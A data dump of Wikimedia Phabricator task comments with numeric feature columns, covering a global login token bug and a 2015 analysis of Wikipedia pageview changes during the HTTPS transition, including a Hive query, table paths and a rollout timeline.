483613,Login failing - The provided authentication token is either expired or invalid.,"To be clear, just global login is failing. You should be logged in locally to the wiki where you started your login request from.",,,1435599209,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-wahu4xw5f2kqd5hbb7m7,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,4.0,0.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,15.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,11.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,11.0,7.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,11.0,15.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,3.925925925925926,0.8888888888888888,"To be clear, just global login is failing. You should be logged in locally to the wiki where you started your login request from."
483595,Login failing - The provided authentication token is either expired or invalid.,"Did beta switch sessions storage, or lose memcache?",,,1435597845,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-wahu4xw5f2kqd5hbb7m7,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,1.0,"Did beta switch sessions storage, or lose memcache?"
483590,Login failing - The provided authentication token is either expired or invalid.,Confirmed.,,,1435597601,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-wahu4xw5f2kqd5hbb7m7,task_subcomment,,True,c3,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Confirmed.
102431,Analysis on traffic through the HTTPS transition,"do a traffic analysis for Catalan, Chinese, English, Hebrew, Italian, and Uyghur versions of Wikipedia. Lila is asking for a traffic report. Chinese & Uyghur Wikipedia transition was on Tuesday. Catalan, Chinese, Hebrew, and Italian yesterday. English at 2AM today. We also need to know traffic impact on English Wikipedia geolocated to China. 
",Unbreak Now!,100.0,1434341868,1448881724.0,PHID-USER-p3bvg5sos3lhe33uou2s,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-dmyx4wbuj5eotax4ch37,task_description,resolved,True,c3,2,True,False,False,-3,True,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,12.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,31.0,0.0,4.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,12.0,25.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,4.294117647058823,0.5735294117647058,"do a traffic analysis for Catalan, Chinese, English, Hebrew, Italian, and Uyghur versions of Wikipedia. Lila is asking for a traffic report. Chinese & Uyghur Wikipedia transition was on Tuesday. Catalan, Chinese, Hebrew, and Italian yesterday. English at 2AM today. We also need to know traffic impact on English Wikipedia geolocated to China. 
"
569912,Analysis on traffic through the HTTPS transition,">>! In T102431#1675396, @ellery wrote:
> @Aklapper this task is complete. 

@ellery: Is there a reason to not change the task status to ""Resolved"" via the ""Action > Change Status"" dropdown above the ""Comments"" box, so the task won't show up under the list of open tasks anymore?

I'll just do this and resolve this task, hoping I understood your previous comment correctly. Please reopen if I'm wrong.",,,1448881724,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,3,True,,,21,True,0.0,0.0,0.0,0.0,3.0,4.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,1.0,4.0,0.0,6.0,12.0,0.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,5.0,0.0,3.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,3.0,1.0,1.0,0.0,0.0,0.0,8.0,1.0,17.0,3.0,1.0,10.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,5.0,12.0,6.0,1.0,8.0,0.0,5.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.7142857142857144,0.7532467532467533,"QUOTE
QUOTE
SCREEN_NAME: Is there a reason to not change the task status to ""Resolved"" via the ""Action > Change Status"" dropdown above the ""Comments"" box, so the task won't show up under the list of open tasks anymore?

I'll just do this and resolve this task, hoping I understood your previous comment correctly. Please reopen if I'm wrong."
535271,Analysis on traffic through the HTTPS transition,@Aklapper this task is complete. ,,,1443201569,,PHID-USER-acib6ps3o5mx7ep6txe4,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,33.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,SCREEN_NAME this task is complete. 
535134,Analysis on traffic through the HTTPS transition,"This task has ""Unbreak Now!"" priority for three months now which means [[ https://www.mediawiki.org/wiki/Phabricator/Project_management#Setting_task_priorities | it ""needs to be fixed immediately, setting anything else aside."" ]]

@ellery: What is the status of this task? Is the priority still correct?",,,1443191226,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,3,True,,,12,True,0.0,2.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,13.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,2.0,6.0,2.0,4.0,8.0,0.0,2.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,2.0,3.5961538461538463,0.8269230769230769,"This task has ""Unbreak Now!"" priority for three months now which means [[ URL | it ""needs to be fixed immediately, setting anything else aside."" ]]
SCREEN_NAME: What is the status of this task? Is the priority still correct?"
483446,Analysis on traffic through the HTTPS transition,"@ellery thanks for the great work. Can you add a short section with the main takeaways at the top of the nb? Other than country-specific data, given that bot traffic historically accounted for up to half of PVs from the US, this will result in a major drop in the legacy PVs and we'll need to communicate this clearly.

@kevinator is Yana responsible for presenting the results internally?",,,1435584644,,PHID-USER-qb5aoo443n6fezsozhv4,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,3.0,1.0,4.0,18.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,21.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,10.0,0.0,1.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,3.0,18.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,4.1923076923076925,0.7692307692307693,"SCREEN_NAME thanks for the great work. Can you add a short section with the main takeaways at the top of the nb? Other than country-specific data, given that bot traffic historically accounted for up to half of PVs from the US, this will result in a major drop in the legacy PVs and we'll need to communicate this clearly.
SCREEN_NAME is Yana responsible for presenting the results internally?"
482082,Analysis on traffic through the HTTPS transition,"I have updated the graphs in https://github.com/ewulczyn/wmf/blob/master/https_transition/https_transition.ipynb.

Iran shows a severe persistent drop in pageview rates for enwiki. China has a less severe but still persistent drop. ",,,1435269656,,PHID-USER-acib6ps3o5mx7ep6txe4,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,13.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,4.166666666666667,0.8,"I have updated the graphs in URL

Iran shows a severe persistent drop in pageview rates for enwiki. China has a less severe but still persistent drop. "
476903,Analysis on traffic through the HTTPS transition,"For a set of updated graphs that include the protocol dimensions and the effects on enwiki see:

https://github.com/ewulczyn/wmf/blob/master/https_transition/https_transition.ipynb ",,,1434586363,,PHID-USER-acib6ps3o5mx7ep6txe4,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,0.0,10.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,4.2,0.95,"For a set of updated graphs that include the protocol dimensions and the effects on enwiki see:

URL "
476901,Analysis on traffic through the HTTPS transition,"For a set of updated graphs that include the protocol dimensions see:

https://github.com/ewulczyn/wmf/blob/master/https_transition/https_transition.ipynb ",,,1434586264,,PHID-USER-acib6ps3o5mx7ep6txe4,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,4.2,1.0,"For a set of updated graphs that include the protocol dimensions see:

URL "
475177,Analysis on traffic through the HTTPS transition,"The transition is still ongoing.  New timeline events from today (assume for any language mentioned, it's for all projects that language has):

All times UTC, and +/- 5 mins:
2015-06-15 20:15 - Wikidata and Roots/www //(see below)//
2015-06-15 20:25 - de
2015-06-15 21:00 - Commons
2015-06-15 21:25 - fr, ja
2015-06-15 23:15 - Reverted Commons ( for now, due to: T102566 )
2015-06-16 00:00 - bg, cs, eo, fi, id, nl, no, pl, pt, sv, th, tr

// Roots/www means any of our primary domains without a language prefix, including mobile, as well as `www` in place of the language prefix.  e.g. `http://wikipedia.org`, `http://www.wikiversity.org`, `http://m.wikibooks.org`, etc.  Mostly these are language-selector pages or language-detecting redirects.//",,,1434416040,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,2,True,,,-3,True,2.0,0.0,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.5,1.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,12.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,1.0,8.5,0.0,1.5,4.0,0.0,0.0,0.0,0.0,0.5,0.5,13.0,0.0,1.0,6.0,12.0,0.0,0.0,0.0,1.0,0.0,0.5,0.5,0.0,1.0,0.0,0.0,1.5,3.1013498055364908,0.6365248226950355,"The transition is still ongoing.  New timeline events from today (assume for any language mentioned, it's for all projects that language has):

All times UTC, and +/- 5 mins:
2015-06-15 20:15 - Wikidata and Roots/www //(see below)//
2015-06-15 20:25 - de
2015-06-15 21:00 - Commons
2015-06-15 21:25 - fr, ja
2015-06-15 23:15 - Reverted Commons ( for now, due to: T102566 )
2015-06-16 00:00 - bg, cs, eo, fi, id, nl, no, pl, pt, sv, th, tr

// Roots/www means any of our primary domains without a language prefix, including mobile, as well as CODE in place of the language prefix.  e.g. CODE, CODE, CODE, etc.  Mostly these are language-selector pages or language-detecting redirects.//"
475092,Analysis on traffic through the HTTPS transition,"As mentioned above, the query will still run for a few days. But here are some preliminary results from a query I kicked off on Friday.

Summary: We see a drop in pageviews from zhwiki from Chinese desktop users and US bots. All beta language projects seem unaffected. The data is too right terminated to evaluate the change for enwiki.

https://github.com/ewulczyn/wmf/blob/master/https_transition/https_transition.ipynb",,,1434408498,,PHID-USER-acib6ps3o5mx7ep6txe4,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,2,False,,,-3,True,4.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,14.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,6.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,16.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,14.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.042857142857143,0.8285714285714286,"As mentioned above, the query will still run for a few days. But here are some preliminary results from a query I kicked off on Friday.

Summary: We see a drop in pageviews from zhwiki from Chinese desktop users and US bots. All beta language projects seem unaffected. The data is too right terminated to evaluate the change for enwiki.

URL"
474979,Analysis on traffic through the HTTPS transition,"Ok, I just fired off a query to get https status as well. I am running over the logs for June (sampling 1 out of 64 buckets). This query is estimated finish in 3 days.... 

SELECT year, 
month, 
day, 
hour, 
uri_host, 
geocoded_data['country'] as country, 
access_method, 
agent_type, 
x_analytics_map['https'] as https, 
http_status, 
count(*) as n 
FROM wmf.webrequest TABLESAMPLE(BUCKET 1 OUT OF 64 ON rand()) 
WHERE year = 2015 
AND month = 6 
AND webrequest_source in ('mobile', 'text') 
AND is_pageview = 1 
AND uri_host RLIKE '(ca|en|zh|it|ug|he)\\.(m\\.)?wikipedia' 
GROUP BY uri_host, geocoded_data['country'], x_analytics_map['https'], http_status, 
access_method, agent_type, year, month, day, hour;",,,1434399345,,PHID-USER-acib6ps3o5mx7ep6txe4,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,2,False,,,-3,True,0.0,0.0,0.0,0.5,0.0,2.5,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,1.0,0.0,2.5,9.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,11.0,0.5,2.5,1.5,0.0,0.0,0.0,0.0,1.0,0.5,6.0,0.0,1.0,9.5,5.5,0.0,6.0,0.0,1.0,0.0,0.5,0.5,0.0,1.0,0.0,0.5,0.0,3.7560975609756095,0.5975609756097562,"Ok, I just fired off a query to get https status as well. I am running over the logs for June (sampling 1 out of 64 buckets). This query is estimated finish in 3 days.... 

SELECT year, 
month, 
day, 
hour, 
uri_host, 
geocoded_data['country'] as country, 
access_method, 
agent_type, 
x_analytics_map['https'] as https, 
http_status, 
count(*) as n 
FROM wmf.webrequest TABLESAMPLE(BUCKET 1 OUT OF 64 ON rand()) 
WHERE year = 2015 
AND month = 6 
AND webrequest_source in ('mobile', 'text') 
AND is_pageview = 1 
AND uri_host RLIKE '(ca|en|zh|it|ug|he)\\.(m\\.)?wikipedia' 
GROUP BY uri_host, geocoded_data['country'], x_analytics_map['https'], http_status, 
access_method, agent_type, year, month, day, hour;"
474978,Analysis on traffic through the HTTPS transition,"Ok, I just fired off a query to get https status as well. I am running over the logs for June (Ssampling 1 out of 64 buckets). This query is estimated finish in 3 days.... 

SELECT year, 
month, 
day, 
hour, 
uri_host, 
geocoded_data['country'] as country, 
access_method, 
agent_type, 
x_analytics_map['https'] as https, 
http_status, 
count(*) as n 
FROM wmf.webrequest TABLESAMPLE(BUCKET 1 OUT OF 64 ON rand()) 
WHERE year = 2015 
AND month = 6 
AND webrequest_source in ('mobile', 'text') 
AND is_pageview = 1 
AND uri_host RLIKE '(ca|en|zh|it|ug|he)\\.(m\\.)?wikipedia' 
GROUP BY uri_host, geocoded_data['country'], x_analytics_map['https'], http_status, 
access_method, agent_type, year, month, day, hour;",,,1434399326,,PHID-USER-acib6ps3o5mx7ep6txe4,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,2,False,,,-3,True,0.0,0.0,0.0,0.5,0.0,2.5,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,1.0,0.0,2.5,9.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,11.5,0.5,2.5,1.5,0.0,0.0,0.0,0.0,1.0,0.5,6.0,0.0,1.0,9.5,6.0,0.0,6.0,0.0,1.0,0.0,0.5,0.5,0.0,0.5,0.0,0.5,0.0,3.7621951219512195,0.5975609756097562,"Ok, I just fired off a query to get https status as well. I am running over the logs for June (Ssampling 1 out of 64 buckets). This query is estimated finish in 3 days.... 

SELECT year, 
month, 
day, 
hour, 
uri_host, 
geocoded_data['country'] as country, 
access_method, 
agent_type, 
x_analytics_map['https'] as https, 
http_status, 
count(*) as n 
FROM wmf.webrequest TABLESAMPLE(BUCKET 1 OUT OF 64 ON rand()) 
WHERE year = 2015 
AND month = 6 
AND webrequest_source in ('mobile', 'text') 
AND is_pageview = 1 
AND uri_host RLIKE '(ca|en|zh|it|ug|he)\\.(m\\.)?wikipedia' 
GROUP BY uri_host, geocoded_data['country'], x_analytics_map['https'], http_status, 
access_method, agent_type, year, month, day, hour;"
474857,Analysis on traffic through the HTTPS transition,"I imagine you are after the https info.
Unfortunately it's not included in any pre-aggregated table.

I don't have loaded this data into pentaho neither.",,,1434390110,,PHID-USER-g7bfwahewstu6un6ewf6,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,2,False,,,-3,True,3.0,0.0,0.0,0.0,6.0,9.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,12.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,9.0,3.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8529411764705883,0.9117647058823529,"I imagine you are after the https info.
Unfortunately it's not included in any pre-aggregated table.

I don't have loaded this data into pentaho neither."
474836,Analysis on traffic through the HTTPS transition,"@JAllemandou The table joal.pageview_hourly would be perfect if it had a http/https dimension! Also, have you got the joal.pageview_hourly table in a pentaho cube somewhere?

",,,1434389174,,PHID-USER-acib6ps3o5mx7ep6txe4,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,2,False,,,-3,True,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,10.0,3.0,0.0,13.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,6.0,6.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.838709677419355,0.9032258064516129,"SCREEN_NAME The table joal.pageview_hourly would be perfect if it had a http/https dimension! Also, have you got the joal.pageview_hourly table in a pentaho cube somewhere?

"
474453,Analysis on traffic through the HTTPS transition,"@Ellery depending on how you need to handle chinese languages, you should either go for:
- project pre-aggregated table (no dialect/language_variant, preproduction mode, very small data)
    - hive: joal.pageview_hourly
    - hdfs parquet files: /user/joal/pageview/hourly/year=2015/month=6/day=X/hour=X

- pageview pre-aggregated table (dialect/language_variant available, production mode, medium-small data)
    - hive: wmf.pageview_hourly
    - hdfs parquet files: /wmf/data/wmf/pageview/hourly/year=2015/month=6/day=X/hour=X

Let me know if you want me to spend some time with you :)

",,,1434352752,,PHID-USER-g7bfwahewstu6un6ewf6,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,2,False,,,-3,True,0.5,0.0,0.5,0.0,0.0,10.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,3.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.5,0.0,0.0,2.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,19.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,0.5,1.0,0.0,0.5,0.0,0.0,3.0,0.0,0.0,0.0,4.0,3.5,7.5,0.0,0.0,0.0,4.0,0.0,0.5,0.0,1.5,0.5,0.0,0.0,0.0,3.9338235294117645,0.7058823529411765,"SCREEN_NAME depending on how you need to handle chinese languages, you should either go for:
- project pre-aggregated table (no dialect/language_variant, preproduction mode, very small data)
    - hive: joal.pageview_hourly
    - hdfs parquet files: /user/joal/pageview/hourly/year=2015/month=6/day=X/hour=X

- pageview pre-aggregated table (dialect/language_variant available, production mode, medium-small data)
    - hive: wmf.pageview_hourly
    - hdfs parquet files: /wmf/data/wmf/pageview/hourly/year=2015/month=6/day=X/hour=X

Let me know if you want me to spend some time with you :)

"
474438,Analysis on traffic through the HTTPS transition,@JAllemandou can you point Ellery to the correct tables to use in Hive for this.,,,1434342129,,PHID-USER-p3bvg5sos3lhe33uou2s,False,,,PHID-TASK-dmyx4wbuj5eotax4ch37,task_subcomment,,True,c3,2,True,,,-3,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,25.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0625,0.9375,SCREEN_NAME can you point Ellery to the correct tables to use in Hive for this.
474437,Analysis on traffic through the HTTPS transition,"Timeline provided by @BBlack:
Languages:---
The Chinese languages are Chinese (zh) and Uyghur (ug)
The HTTPS-Beta languages are Catalan (ca), Hebrew (he), Greek (el), Italian (it).

Timeline:---
```
2015-06-09 21:23 UTC: transitioned Chinese languages, all projects
2015-06-11 14:00 UTC: transitioned HTTPS-Beta language Wikipedias
2015-06-11 14:30 UTC: transitioned HTTPS-Beta language Mobile Wikipedias
2015-06-12 08:43 UTC: Routing Incident: First evidence (others noticing, not us)
2015-06-12 09:00 UTC: Routing Incident: Level3 fallout in full effect, many notice
2015-06-12 09:00 UTC: Start transition of English Wikipedia, including Mobile
```
During this 40 minute window for English, we first redirected 10% of clients, then 50%, then 100%
```
2015-06-12 09:40 UTC: End transition of English Wikipedia, including Mobile
2015-06-12 10:40 UTC: Routing Incident: Largely resolved, some smaller trailing effects
2015-06-12 13:00 UTC: Public blog announcement
2015-06-12 13:30 UTC: transitioned All other projects (e.g. wikiversity, wikibooks, etc) for English + Beta languages

